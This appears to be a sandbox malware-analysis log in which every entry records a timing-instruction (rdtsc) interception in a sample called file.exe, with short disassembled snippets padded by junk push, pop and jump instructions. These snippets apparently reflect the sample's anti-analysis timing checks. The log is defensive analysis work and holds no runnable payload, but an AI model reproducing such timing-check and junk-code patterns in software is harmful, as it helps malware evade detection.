Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5572F second address: D55736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55B5C second address: D55B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A537 second address: D5A541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A541 second address: D5A547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A547 second address: D5A55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B924Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A55A second address: D5A560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A560 second address: D5A56A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3EDD0B9246h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A56A second address: D5A56E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AB9B second address: D5ABA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5ABA3 second address: D5ABDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F3EDCBDB9B1h 0x00000011 pop edi 0x00000012 jmp 00007F3EDCBDB9B7h 0x00000017 popad 0x00000018 pushad 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02FFB second address: D02FFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02FFF second address: D03005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AD4A second address: D5AD4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B96B second address: D5B982 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3EDCBDB9B1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B982 second address: D5B9A1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3EDD0B9256h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63926 second address: D63947 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3EDCBDB9ADh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63AB6 second address: D63ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63C38 second address: D63C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64463 second address: D6446F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3EDD0B9246h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6446F second address: D64474 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64CFD second address: D64D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64D03 second address: D64D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D652A7 second address: D652B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F3EDD0B9246h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D655A3 second address: D655A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D655A7 second address: D655B4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3EDD0B9246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D655B4 second address: D655C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F3EDCBDB9AAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D655C6 second address: D655D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EDD0B924Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D655D6 second address: D655EA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jg 00007F3EDCBDB9A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F3EDCBDB9A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C3E7 second address: D6C3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C3ED second address: D6C40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F3EDCBDB9B4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C40E second address: D6C413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F53B second address: D6F555 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B0h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F555 second address: D6F559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F559 second address: D6F55F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F7E7 second address: D6F7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6FC05 second address: D6FC09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6FDA9 second address: D6FDB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3EDD0B9246h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6FF09 second address: D6FF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78BF4 second address: D78BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76EAA second address: D76EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76EAE second address: D76EB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76EB2 second address: D76EB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77014 second address: D7701A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7701A second address: D77029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jp 00007F3EDCBDB9A8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77580 second address: D77584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77584 second address: D775B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007F3EDCBDB9A6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jne 00007F3EDCBDB9B5h 0x00000013 jmp 00007F3EDCBDB9ABh 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D775B4 second address: D775BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D775BD second address: D775C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D776EF second address: D776FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jo 00007F3EDD0B924Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D776FE second address: D77702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77702 second address: D77707 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77889 second address: D7788E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77C59 second address: D77C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B9250h 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnl 00007F3EDD0B9246h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7837B second address: D7837F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7837F second address: D783A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3EDD0B9246h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3EDD0B9253h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D783A0 second address: D783DF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3EDCBDB9A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F3EDCBDB9B9h 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3EDCBDB9B8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D783DF second address: D783E9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3EDD0B9246h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78A82 second address: D78A8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3EDCBDB9A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D87064 second address: D87082 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9255h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D87082 second address: D870A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F3EDCBDB9B5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D870A2 second address: D870C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3EDD0B9257h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F718 second address: D8F720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F720 second address: D8F727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F727 second address: D8F733 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3EDCBDB9A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F733 second address: D8F737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F737 second address: D8F73B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F73B second address: D8F75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B9252h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007F3EDD0B9246h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F75F second address: D8F76E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3EDCBDB9A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F76E second address: D8F775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91D41 second address: D91D75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F3EDCBDB9B8h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91D75 second address: D91D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3EDD0B9246h 0x0000000a jnp 00007F3EDD0B9246h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91D86 second address: D91D8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91D8C second address: D91D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91D92 second address: D91D96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9189F second address: D918B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3EDD0B9246h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91A6F second address: D91A81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F3EDCBDB9ACh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97DAB second address: D97DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0BEC second address: DA0BF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0BF2 second address: DA0BF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0BF8 second address: DA0C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3EDCBDB9B2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0C06 second address: DA0C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3AEC second address: DA3AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 je 00007F3EDCBDB9B6h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA0EC second address: DAA0F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8AF7 second address: DA8AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8AFB second address: DA8AFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8C12 second address: DA8C41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EDCBDB9B7h 0x00000009 jmp 00007F3EDCBDB9B4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8C41 second address: DA8C4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8C4C second address: DA8C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F3EDCBDB9A8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA916A second address: DA9187 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3EDD0B9246h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d jnp 00007F3EDD0B9260h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 js 00007F3EDD0B9246h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9187 second address: DA918B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA918B second address: DA9191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFDF9 second address: DAFE03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3EDCBDB9A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBBB3B second address: DBBB6D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3EDD0B9246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3EDD0B924Ch 0x0000000f pop edx 0x00000010 pushad 0x00000011 jmp 00007F3EDD0B9255h 0x00000016 push eax 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBBB6D second address: DBBB78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC065 second address: DCC06B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEDF7 second address: DCEE11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3EDCBDB9A6h 0x0000000a jng 00007F3EDCBDB9A6h 0x00000010 jno 00007F3EDCBDB9A6h 0x00000016 popad 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5C8A second address: DE5CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B9256h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5CA8 second address: DE5CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 js 00007F3EDCBDB9A6h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE4EB3 second address: DE4ECE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9256h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE4ECE second address: DE4ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5405 second address: DE5409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5409 second address: DE5415 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5415 second address: DE541B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE541B second address: DE541F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE55AE second address: DE55B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE59F4 second address: DE59FE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3EDCBDB9A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
